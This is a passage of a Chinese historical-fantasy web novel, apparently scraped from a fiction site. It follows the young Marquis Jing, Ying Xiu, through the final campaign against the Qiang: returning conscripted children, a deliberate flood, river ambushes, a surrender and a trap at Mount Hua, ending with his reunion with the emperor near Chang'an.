恭恭敬敬地对船舱底下的明昔鸾道:“赦夫人, 还请您同我们一起登上御船。” 虽说态度恭敬, 用的还是“请”字,却全然没有给明昔鸾选择的余地, 保持着客气疏淡的笑容, 一直躬身守在甲板上。 明昔鸾看了他们一眼,抬脚跨过羌王的尸首, 沿着舷梯登上甲板,跟着他们登上天子御船。 “……我儿在何处?” 明昔鸾问道。 校尉用余光小心翼翼觑向陛下,发现后者并没有阻拦的意思,这才道:“靖侯大人正在扬州。” 然而, 此刻的赢秀,早已离开了扬州, 率领五千兵马,正在前往徐州的路上。 他本想借着攻下扬州,以此牵制羌王的兵力,谁知左等右等, 也没等到羌王调兵回防, 也不闻荆州传来的军报。 赢秀担忧殷奂,一度想要前往荆州,临行前却收到了徐州百姓的传书,要他快些来徐州。 看清信上内容,赢秀只得先行前往徐州。 徐州城内, 羌人官兵正骑着高头大马,高声呼斥,一户一户地搜寻壮丁,就连不到的十岁孩童也不放过。 “你们都听着!羌王有令,前方战事吃紧,正是要用人的时候,胆敢躲避徭役,就是死罪!” “这孩子还小,过了年才八岁,求求您了!您就放过他吧!”老媪死死地抱住哭闹的孩童,不让官兵靠近。 烽火连烧三月,北朝百姓家中的青壮都已经被派上沙场,只剩下苍髯老人和半大孩子。 官兵不耐烦地一脚踹开老媪,扯过她怀里的孩童便走,那孩子嚎啕大哭,踉踉跄跄地被拖拽着离开。 一开始官府抓的都是汉人,羌人百姓在一旁看热闹,都有些唏嘘。 后来,战情越来越严峻,也不分汉羌,抓了便走,闹得城内人心惶惶,许多人一夜之间家破人亡,妻离子散。 如今眼看着这孩子被抓走,一双双躲在门户后的眼睛不忍地闭上,用力地捂住家中孩童的嘴,生怕发出半点动静。 往长江运兵的官道上,孩童们穿着比自己还要高大的铁甲,在官兵催促下,努力地向前,向前。 “你们别怪我,实在是上面逼得紧,羌王下了死命令,必须要凑够人数,不然我们的脑袋都保不住。” 面对一双双懵懂的眼睛,官兵叹了一口气,掰开糖碎,挨个递给他们。 羌王正在沔水上,与南朝皇帝交战,虽然军报还未传来,通过这些日子源源不断地征兵,甚至连孩童都不放过,便可窥一斑。 北朝,大概要败了。 官兵发完糖碎,正要继续启程,忽然停下脚步,与前方凭空出现的少年对上了视线。 须臾后,徐州城。 守城官兵警觉地看向城下,不远处,似乎有不少人正在往这边来,他定睛一看,连忙惊叫示警:“敌军来了!南朝士兵打到这里了!” “快!快放——” 守城官正要下令放箭,看清那群人后,声音骤然消失,来的不止是南人,还有一群瘦小的身影,这是刚刚送去前方的孩童。 ……放,还是不放? 若是放箭,定然会伤了那群北朝的平民孩童,若是不放,难不成眼睁睁看着南朝人过来不成? 守城官陷入了两难。 眼看那群人即将到达城楼下,却毫无攻城之意,反而高声道:“靖侯送孩子们回来了!” 北朝的孩子们也跟着哇哇大哭,他们方才遇见这群中原士兵,听上官命令上前与其厮杀,拳打脚踢,牙咬头撞,却被拎起来狠狠教育了一通。 那个漂亮的少年给了他们粮食,还说送他们回家,他们想了想,还是回家要紧,于是跟着这些中原人折返。 听着孩子的哭声,守城官一个头两个大,他并非草木,也有兄弟姐妹和儿女。 但是,一旦开城门,焉知这群南朝人会作出何等行径? “……放箭。”守城官的声音在颤抖。 “不许你们放箭!”一道厉喝骤然响起,并非出自城楼下的南朝人,而是徐州城内的百姓。 一群老弱病残朝城楼上走来,颤巍巍地拉住士兵,不让他们有机会放箭。 这些人中不乏守城士兵的亲人,士兵不能动手,不能反击,只能任由他们撒泼打滚,场面一时混乱。 混乱中,守城官终于正眼看了为首的金裳少年一眼,“你就是靖侯?” 南朝的靖侯,听说是个极好的人,不取一分一厘,不伤一草一木,所到之处,百姓安居乐业,日子过得蒸蒸日上。 “是我。”赢秀道。 沉默片刻,守城官盯着他看了许久,南朝的靖侯,若是杀了他,只怕能封侯拜相…… 就在他犹豫间,护城河的匝道不知何时被缓缓放了下来,城门轰然被推开,是徐州城中的百姓! ……一群吃里扒外的东西! 守城刺史又惊又怒,抢过士兵手中的弓箭,正要拉弓,射箭,却骤然被人扑倒,转头一看,竟然是他的亲信。 “大人使不得!那都是我们北朝的孩子啊!” 徐州城的城门在赢秀眼前缓缓敞开,身侧的孩子们仰头问他:“我们真的可以回家了吗?” “回去吧,”赢秀想了想,又道:“好好读书去。” 孩子们一听要读书,脑袋顿时耷拉下来。 忙活了一个下午,把孩子们挨个送回家。 入夜后,赢秀坐在徐州城的州牧府上,没理会州牧死人似的脸色,查看着刚刚从荆州送来的军报,上面写着—— 羌王已死,大败羌兵。 不仅如此,上面还写着,已经找到了明昔鸾,让赢秀速来洛州汇合。 看样子,殷奂已经打下了洛州,即将前往长安。 飘忽烛火下,赢秀悬笔未落,最终,他在信条上写下四个字—— 长安相见。 他已经做好决定,从徐州沿着永水一路北上,前往长安。 这意味着,接下来要收复雍州,豫州,才能到达长安。 信条送到殷奂面前时,殷奂神色微变,指尖微微用力,攥紧了那张信条。 虽说羌王已死,北朝群龙无首,形如一盘散沙,但是那个暴躁蠢笨的世子还活着,一旦继位,再度兴起风浪,狗急跳墙,只怕会危及赢秀。 帝王久久凝视着信条上面的字迹,想起赢秀去时说的话: “等我查明白那张千里江山图上的秘密,我就回来。若是查不明白,我最多待两个月也就回来了。” ……两个月,现在何止两个月? 帝王垂下眼睫,压下心底翻涌的情绪,温声道:“去把岳母请来。” 明昔鸾在宫人的带领下,踏进昭明台,她已然梳洗打扮,换上了一身南朝的服饰,温婉,凌厉,眉眼间与赢秀极为相似。 看到那句信条上的“长安相见”,明昔鸾轻轻笑了:“这孩子,倒是有我们当年的风范。” 察觉到帝王心情不虞,明昔鸾收敛笑意,顶着恐怖的天威开口:“陛下既然担忧,何不为他扫清危险,反而要他收束己身?” 这句话,放在天子面前,称得上挑衅。 帝王眼眸微动,正眼看了她一眼,眸光有些新奇,语气也放缓不少,倒是有了几分身为后辈的温和:“子婿明白。” 又是岳母,又是子婿,便宜都让他占尽了。 明昔鸾看着眼前这位昳丽危险的“子婿”,指尖生出了一点薄汗,淡淡的幽冷。 那孩子,怎么会惹上这样的人物? …… 几日后,羌王身死沔水的消息渐渐传了出去,激起两朝议论纷纷,南朝一片欢欣,忙着庆祝,至于北朝,则是愁云惨淡。 世子坐在军帐首位上,大半个身子隐在暗处,脸色阴沉。 忽然,他开口问道:“再有几日是长江汛期?” 眼下,南朝人已经越过长江,往中原腹地而来。 而他们损失惨重,狼狈不堪,再这么打下去,很快,他们羌族就会被逼回草原。甚至,很可能连回草原的机会也没有。 汉人的兵书有云,破釜沉舟,方能置之死地而后生。 臣僚沉默片刻,报出一个时间,世子缓缓点了点头,“前阵子,瞿塘关的堰口不是被我们毁了一半吗。” 他声音很轻,带着一股狠绝,仿佛高高在上给人宣判了死刑:“……就从这里开始吧。” 季夏已至,汛期一如既往地来了,长江各处峡口都提前做好了排汛的准备,沙袋提前堆放在堤坝上,靠近城池的闸门也依次关上,只留了引汛的河道。 瞿塘关,雨丝溟濛,雨势慢慢由小转大,化作一场磅礴的阑风伏雨。 两岸的堤坝上,有人披雨提灯,正在巡视河道。 为首之人正是王守真,原本两朝开战,他本想借此机会博得军功,但是上峰安排他留在南朝驻守峡口。 他看得出,上峰对他存了几分保护之心,不想让他死在沙场上。 人生短短,譬如朝露,何妨一死? 只是南朝军纪严明,容不得他抗命,他只得留在南朝,守着长江,等待时机。 粼粼灯影照进湍急的河流中,一切看起来并没有什么异常,忽然,王守真停下脚步,不动了。 不远处,是排山倒海而来的千重浪。 呼啸着,撞开闸门,从峡口奔了过来,朝着城池的方向,奔腾不息。 人影幢幢,脚步匆匆,沙袋不断地投向河道,企图筑起高墙,挡住泼天洪水。 然而,沙袋落入水中,顷刻便被卷走,消失得无影无踪。 王守真停下动作,地上已经没有沙袋了,已经没有任何能够扔进江中,抵挡洪水的东西了。 身后,是一座座连岸的城池,城中的百姓还在无知无觉地酣睡。 王守真侧眸,和身旁的同伴对视一眼—— 人生短短,何妨一死? 第83章 第 83 章 山河之异 永宁阴历七月初一, 风光月霁。 瞿塘关的洪水终于退了,四周泛着土腥的枝叶草木凌乱不堪,湿漉漉一片, 一只被撞碎的提灯浮了上来。 烛火熄了, 蜷成一团灰烬。 天明时分, 劫后余生的百姓从梦中醒来, 望着满地狼藉,久久出神。 彼时, 赢秀正在徐州城内。 楼台上风雨如晦, 他似有所感,看向南面, 透过朦胧雨雾,江左的风物都远了。 静静望了片刻,赢秀走下楼台,不远处的渡口上, 沿着渭水南下长安的楼船都已经准备好了。 越过豫州,雍州, 便是中原长安,南朝曾经的京师。 登上船,飏风卷着清寒水雾扑面而来,赢秀立在雀室内, 透过四面镂空的窗牖, 眺望着周遭景色。 放眼望去,只见渭水涛涛,川流不绝,濛濛细雨下个不停,天地烟雨湿浥。 渭水是黄水最大的支流, 当年瘐明率众南渡,便是由此过。 瘐安站在赢秀身侧,远远地望着船下的渭水,一言不发。 甲板上,瘐家军沉默着,看着脚下故乡的河流,风景不殊,山河之异。 如今南北即将一统,山河归一,当年承诺他们,有朝一日要带他们回到故土的将军却已经死了。 豫州,又名中州,地处中原九州垓心,相传千年前,炎黄两帝便是在此与蚩尤展开逐鹿之战。 “羌王已死,羌人狗急跳墙,必然会绝地反扑,只怕他们会豁出去不要命地打。”将士分析道。 越往北走,羌人便越多,他们之前用的怀柔政策很大概率行不通。 赢秀刚要开口,瞳孔骤然一缩,迅速扑倒身旁的瘐安,“快趴下!” 话音甫落,箭矢如雨,铺天盖地而下。 赢秀一个翻滚,闪身避开箭矢,一手拉着瘐安,一手拉着一个亲信,以迅雷不及掩耳之势缩在雀室墙下。 楼船上众人也各自寻找了掩体,缩在角落里,避开箭矢,总算博得片刻的宁静。 “他们一看便是有备而来,说不定在此守株待兔就等着我们,要不要现在就启用桔槔?”亲信快速道。 桔槔,楼船上的投石器,只是有一点不好,需要有人冒着箭雨前去启用,在这种过程中,随时都有可能被敌人命中。 赢秀打开雀室底下的风口,朝下面张望,高声道:“箭矢从西北方向来的,他们在岍山上!” 说着,他从风口一跃而下,两次翻滚,轻盈落在甲板上,快速朝桔槔跑去。 船上的瘐家军也跟着调动起来,有人手持弓弩,朝岍山西北方向射箭,有人靠近其余的桔槔,踩动榫卯…… 一颗颗巨石朝岍山投了上去,宛如流星。 然而距离太远,石头还未砸到岍山山峰,便落在半山腰。 隔得极远,隐约能听见半空中传来的羌人的笑声,得意而张狂。 楼船眼下即将经过一处极窄的峡口上,两侧河道狭窄,进退两难,为免翻船,船只行得不快。 “砰——” 一声巨响,楼船周围炸开水花滔天,是一块从天而降的巨石。 羌人也准备了桔槔,正在往楼船上投石! 距离虽远,楼船体积大,难以闪避,再这样下去,船身迟早会被砸破。 渭水湍急,一旦落水,生死难料。 赢秀当机立断:“加快速度,让楼船冲出峡口!” 此处峡口的河道窄小,水流湍急,想要穿行而过,本就危险,何况还有羌人在头顶投石,更是危险中的危险。 只是,倘若想要折返,后面还有船只,难以转圜,只怕会被困死在峡口上。 事到如今,只能拼一把了! 明知危险,听到靖侯号令,楼船上的士兵谁也没有质疑,点了点头,冒着楼船被巨石砸穿的风险,加快速度往前冲刺! 岍山上,北朝世子的亲信大将立在峡口上,戏谑地看着楼船上的南朝人冒着雨丝,在四面滚落的巨石中,驾船往前冲。 他啧了一声,不由皱眉,那南朝靖侯真是个疯子,竟然在这种情况下,还要穿过峡口…… 等他们真到了最狭窄的峡口处,没了水流遮挡,他们便可以集中攻击楼船。 想到这里,将领忍不住长笑出声。 他笑着,拉开弓弩,目光越过楼船,在一处处角落搜寻,只为找到那抹金色的影子,然后将其一箭毙命—— 眼前似乎掠过了一道金影,发带飘逸,淡光逶迤,极近,仿佛就在面前。 渭水上的清寒水汽扑面而来,裹挟着无尽的杀意。 羌人将领瞪大了瞳孔,僵硬的眼黑不可置信地转了转,缓缓往下,视线落在颈项上的血痕上,一道血线。 由于速度太快,上面的血珠还未溢出来,看上去就像是一道平平无奇的红线,绽开在皮肉上。 ——传闻,南朝的靖侯是刺客出身,轻功绝顶,刺杀一流。 有一句谚语叫做,三尺剑锋,一寸明光,南朝靖侯也。 羌人将领艰难地转动眼眸,看见周围将士惊恐万分的神色,他伸手捂住血线,死死地睁着眼,轰然倒地。 渭水上。 第一艘楼船正好过峡口,船上的所有人捏了一把汗,都怕羌人趁此时机集中投石。 谁知,岍山上的羌人却毫无动静,别说投石了,就连箭也不放了。 他们顾不得探究,连忙加速,驾驶楼船挨个出了峡口,一出峡口,江面顿时辽阔,群山渐远。 没过多久,最后一驾楼船也驶出峡口,却未加速朝外,而是缓缓行驶,仿佛在等什么人。 赢秀提剑归来,脚步轻盈地下了岍山,看准最近的楼船,飞身落下。 甫一上船,瘐家军立刻围拢过来,心疼地望着赢秀身上的血迹,“靖侯大人,您可是受伤了?” “无事,”赢秀随意摆了摆手,“不是我的血。” 对于铁甲上溅到的鲜血,他有些嫌弃,“我去换身衣裳。你们好好守着,检查船上有没有缺口,好好修补。” 好歹是有惊无险地出了渭水,豫州就在眼前,赢秀正要寻一处偏僻的角落驻扎,以免打草惊蛇,过阵子再徐徐图之,设法攻城。 暮色四合,一片苍茫。 却见豫州城的城门开着,城下灯火通明,华炬明灯,火把幢幢,那些人却不是整装待发的部曲,而是身形各异的百姓。 “这是……?”亲信有些怀疑,派人上前打探,没过多久,前去打探的斥候气喘吁吁地回来了,面带欣喜。 “靖侯!”斥候低声道:“豫州城的刺史主动归降。” 听到这句话,营地上所有人都朝赢秀看来,心中不安,豫州究竟是请君入瓮,还是真的有意归降? 他们此行也不过七八千人,倘若真的进入豫州城,对方诈降,他们岂不是会被瓮中捉鳖? 赢秀沉思片刻,问道“可曾知道他为何主动归降?” 斥候犹豫道:“听说,听说是陛下有令,主动归降的城池不伤一兵一卒,若是拒降,陛下就会,就会……” 他迟疑不决,不知该不该把未竟之言说出口。 赢秀看着他,目光平静温和,斥候大着胆子继续道:“倘若拒降,陛下就会屠城。” 屠城…… 众将面面相觑,说起这个,他们倒是不奇怪,还记得永宁三年,陛下登基不过两年多,便举兵北伐,手段狠戾,势如破竹,一度屠城,杀死上千羌人。 那时,陛下才十五岁。 南北两朝,都毫不怀疑昭肃帝真的能做出这种行径来,他想做,并且有能力做到。 在这种恐怖的威慑下,豫州刺史着实难以入眠,睁眼闭眼,都是豫州九个郡上万百姓的性命。 他一连几日,打着灯笼大开城门,只为等着南朝人的到来。 远处,赢秀一行人还在迟疑,究竟是进,还是不进,着实两难。 “我亲自去看看。”赢秀道。 他说的“看看”,自然不同于方才斥候躲在远处偷听,而是要亲自和刺史对峙,一辩真假。 亲信连忙劝阻:“不行,太危险了,让手底下的人去就行了。” 说罢,亲信看向瘐安,企图让赢秀的爹好好劝劝赢秀,后者沉默刹那,终于开口,却不是他想象中的劝阻,“我同你一起去。” 赢秀点了点头,和瘐安一起朝豫州城走去。 赢秀没有身先士卒的爱好,他仅仅是觉得自己跑得快,若是遇见什么危险,转身就跑,敌军也逮不住他。 豫州城,城楼下。 刺史提着大灯笼,左右踱步,“你说,靖侯怎么还不打过来?要不我派人送一封降书过去?” 参谋附和道:“大人甚是聪慧。只不过,若是被世子知道……” 他们所说的世子,自然是北朝那位年纪最大的世子。 羌王死了,世子本该继位,只是羌王膝下还有不少儿女,这些宗亲都争着皇位,带着部曲互相内讧。 刺史随口道:“你也不想想,是他可怕,还是南朝那位皇帝可怕?” 一提起那位皇帝,参谋便不由自主地想起了屠城二字,猛的在夜风中打了个寒颤,起了一身鸡皮疙瘩,不说话了。 远远的,似乎有两道身影正在朝这边走来,是南朝将领的服饰。在他们身后,似乎隐隐可见人头攒动。 刺史和参谋对视一眼,心中大喜。 靖侯终于打过来了!魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【终章】 第84章 第 84 章 相见长安 豫州城, 赢秀褪下明光铁甲,换上了一身金裳,席地而坐, 面前是北朝的沙盘。 沙盘上, 有半壁江山都插着南朝的旌旗, 殷红一片, 以长安为界,东面是赢秀打下来的城池, 西面是殷奂领军攻占的州郡。 算算距离, 殷奂身在洛州,离长安更近, 只隔了一道西渭水,应当很快就能打下长安。 羌王已死,如今羌部皇室中,是那位世子势大, 也不知他身在何处…… 要么在长安,要么在雍州, 两处都是北朝最核心的腹地。 赢秀望着沙盘,若有所思,豫州刺史坐在他对面,低声提点:“雍州可不是好打的。这几日雍州将领的亲眷老小都被接到长安了, 一旦谁敢称降或者战败, 他们的亲眷便会被凌迟。” 刺史暗暗庆幸,所幸他一家老小都在豫州城,还不至于被人拿住把柄。 至于为何要和南朝靖侯说这些……眼下都已经带着豫州城主动归降了,没有回头路可走了。 雍州,九州之一, 中原关内平原,治所在京师长安,与长安紧密相连。 有上万重兵把守,宛如森严铁桶,易守难攻。 赢秀垂下眼睫,想起了从荆州传来的军报,殷奂以身诱敌,引出羌王,随口问道:“我这颗人头在你们北朝值多少钱?” 万万没有想到眼前的少年将军说话竟然如此直接,刺史有些惊讶,想了想,“倘若生擒,值一个王侯。” 早在半月前,羌部那些斗得不可开交的皇族便不约而同地发令,生擒靖侯,便可封侯拜相,日转千阶,从平民一跃为王公贵族。 谁不知道南朝靖侯和昭肃帝之间的燕闻昳事,北朝人明白,只要擒获靖侯,便可借此威胁昭肃帝。 只是,此事风险太大了。 一旦触怒昭肃帝,谁也不知道他究竟能做出什么。 听到自己值一个王侯,赢秀轻轻笑了一下,他没想到,自己这么值钱。 等刺史走后,赢秀叫来了瘐家军,众人商议片刻,发现劝不动赢秀,也只好由他去。 豫州与雍州同在渭水上,穿过渭水,便是黄河下游的冲积平原 赢秀带着人趁夜沿着渭水而下,下了船,牵着马,立在峭壁上,远远往下眺望。 远处城池高矗,锯齿状的城墙宛如游龙,高高低低地起伏,每一个阙口上都架着一瓮热油,烧得白烟袅袅。 显然,这些热油是用来恭候南朝将士的。 战场就是兵戈,刀剑,箭矢,烫油……每一样都是冲着取人性命去的,生就是生,死就是死,生死只在顷刻之间。 许是知道靖侯擅长鼓动人心,雍州城的城门紧紧闭着,天光之下,宛如一座严丝合缝的巨石,看不见半点罅隙。 赢秀收回目光,拍了拍身旁的汗血马,这是从荆州牧场上连夜送来的小红,几月不见,小红已经出落成一匹高大的骏马,漆红鬃毛甩动,发出凌冽破空声。 小红性子烈,在峭壁上小步地来回踱步,被拍了两下,俯下身,靠近赢秀。 赢秀踏着马镫,翻身上马,“走吧!” 少年声音清朗,洒脱,烈日高悬,照耀着他身上的金色披风,显眼至极,仿佛一轮移动的太阳。 他一旦出现在北朝人的眼皮子底下,就会沦为众矢之的。 身后,众将都有些担忧,想到赢秀执意如此,也只好策马跟上赢秀。 雍州城下,四面开阔,举目皆是平原,立在瞭望台上,便可将周围一切收之眼底。 守台的烽子远远看见南朝的部曲正在朝这边过来,手持盾牌弓弩,还有人推着桔槔上前,俨然是要攻城,连忙点燃烽烟。 “砰——” 狼烟乍起,城内示警的军鼓重重敲响。 一场麈战即将开始。 赢秀作为主帅,又穿着金色披风,金绦束发,承受了最多的攻击。羌兵宛如趋火之萤,源源不断地朝他扑来。 一开始,赢秀身边还有厚厚的人墙,南朝士兵挡在他面前,围拢在四面八方,不让羌兵有机会靠近。 后来,雍州城下不断地涌出羌兵,密密麻麻,好似蝗虫,冲散了南朝部曲,赢秀身边只剩下几十个亲信。 远处寒光一现,赢秀猛然偏头避开上首的箭镞,顺势一拍小红,小红仰起四蹄,凌空避开底下的箭矢,发出一声嘶鸣,骤然越出羌兵的包围圈。 不多时,骑着盗骊的羌人骑兵又团团围拢过来,上方不断地有箭矢袭来,铺天盖地,织成一张密密的网,试图网住沙场上那道金色的身影。 “嗡——” 一声锵鸣,少年将军手中的剑险些脱手而出。 赢秀攥紧问心剑,抬手一抹,抹掉鬓发上湿漉漉的鲜血,长睫也沾了血,眼前一片朦胧飘忽的猩红。 他努力地眨了眨眼,足尖一点,踩着马蹬起身,同一时刻,就在他原本的位置上,前后两道长枪搠了过来,迸溅出金石之鸣,反射出的寒光映照带血的铁衣。 若非赢秀反应及时,只怕这两道长枪已经一前一后搠穿了他的胸膛。 刹那间,赢秀从半空中稳稳地落在长枪上,敌将见势收回长枪,他脚尖踩空,顺势坐在小红上,一扬马鞭,正要冲出去。 左右方向又来了几个手持长枪的羌兵,身形高大,宛如一座座沉重铁山,齐刷刷地朝马上的少年刺出长枪! 这一回,各个方向和角度都有枪尖袭出,哪怕南朝的靖侯长了翅膀,也飞不出这天罗地网。 果然,赢秀闪避不得,只能生生受了前方一击,他捂住心口,指缝间流出汩汩鲜血,整个人险些往后倒去。 那匹汗血马骤然抬起前蹄,再次从夹缝中越过包围,这一次,它飞得更高,马蹄铁下踩着天光,径直从羌兵头上越了过去。 羌人将领仰起头,看着汗血马载着受伤的主人离去,脸上一片湿漉,带着浓郁的铁锈味,他抹了一把,是血。 ——是靖侯身上的血! 眼看着南朝剩下的兵将掩护着靖侯往华山逃去,羌人将领犹豫一刹那,疾声道:“追!” 华山有一处峡口,形如半只葫芦,入口窄□□仄,内里宽阔。 追入峡口时,羌兵全然没有发觉此处的地势不利,一味地追击眼前孤身一人的靖侯,箭镞,长枪,暗器,不断地投向赢秀和他身下的马。 追到绝路,那匹汗血马骤然停下脚步,身后,是雍州城将近一半的兵力。 烈阳下,漆黑森罗的大军和一人一马形成了鲜明的对比。 就在羌兵朝着他们射箭之时,马匹上昏迷的少年将军骤然睁开眼,策马避开箭矢,抬手投足间,全然没了方才那副将死的模样。 赢秀急促地策马回转,退到华山峭壁处的凹陷处,这是死路,也是唯一的生路。 羌兵还未反应过来,望着躲进峭壁下的少年,忍不住大笑,事到如今,他还能躲到哪去? 下一刻—— 华山峡口两侧,山峰上探出无数只箭矢,落雨似的,将北朝的部曲浇了个淋漓尽致。 “快!撤!” 雍州州牧终于反应过来,他们中计了! 正要原路返回,四面隐约可闻轰隆轰隆的巨响,巨石不停地往下滚落,顷刻间就堵死了出口。 不仅如此,山道两侧还在滚落巨石,迎头砸下。 形式逆转,他们成了被捉的鳖! 赢秀牵着马,缩在峭壁下艰难地喘息,胸膛还在流血,鲜血时刻不停地涌出,把他的手染了红色。 小红不安地发出低低的嘶鸣,低下头,拿脑袋蹭了蹭他。 一阵山风吹来,吹得赢秀打了个哆嗦,他有些困了,靠着小红,支着问心剑,身子慢慢地蜷缩下去。 朦胧间,远远传来一声凄厉遥远的马嘶声,山道上跃下许多道影子,快速朝他奔来。 再醒来时,便已经身处雍州城一座府邸中,赢秀睁开眼,第一眼便看见了谢舟。 对方披着漆发,黑发几乎遮住半边脸,眉眼清冷昳丽,五官锋利得不可逼视,眉心间蓄着淡淡的疲倦,立在帐前看着他。 赢秀晃了晃脑袋,傻愣愣地叫了一声谢舟,又唤了一句殷奂,眼神还带着刚睡醒的懵懂。 帝王身长玉立,身上还穿着铁甲,玄甲明光,箭袖浸着薄薄一层红,极淡的血腥味,冷铁似的,覆着霜。 “你怎么来了?打下长安了?”赢秀坐起身,问道。 帝王轻轻点了点头,长安,已经回归南朝版图。 领军进长安后,他没在城内多待一刻,急转方向,前来找赢秀。 雍州的羌兵不好对付,京师的羌兵应当更加不好对付,殷奂却能在短短时日内取胜。 赢秀露出一个笑,想亲他一下,却没有力气。 陡然想到什么,躺在帐内的少年骤然问道:“……小红呢?” “等你伤好了,再带你去看小红。” 殷奂温声道,他音色向来冷厉清冷,刻意放轻,也依旧如冷玉般清湛。 赢秀盯着他看了半响,忽而伸出手,想要拨开帝王被黑发掩住的半边面,对方却避开他的动作,退了一步。 “等你修养好了,我们便一同去长安。” 赢秀伤势未愈,还迷迷糊糊的,收回手,道:“好。” 在雍州城修养了半个月,这半个月内,赢秀极少见到殷奂,就算见到,对方也总是头戴冠帻,坐在垂帷后,让他看不真切。 直到前往京师长安的卤薄启程,行了数日,身为南朝故都的长安就在脚下。 登高望远,能看见市城雉堞、万瓦如鳞,故国的风吹动赢秀的鬓发,他转过头,看向身侧的帝王。 “你说让我当皇后,还算数吗?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m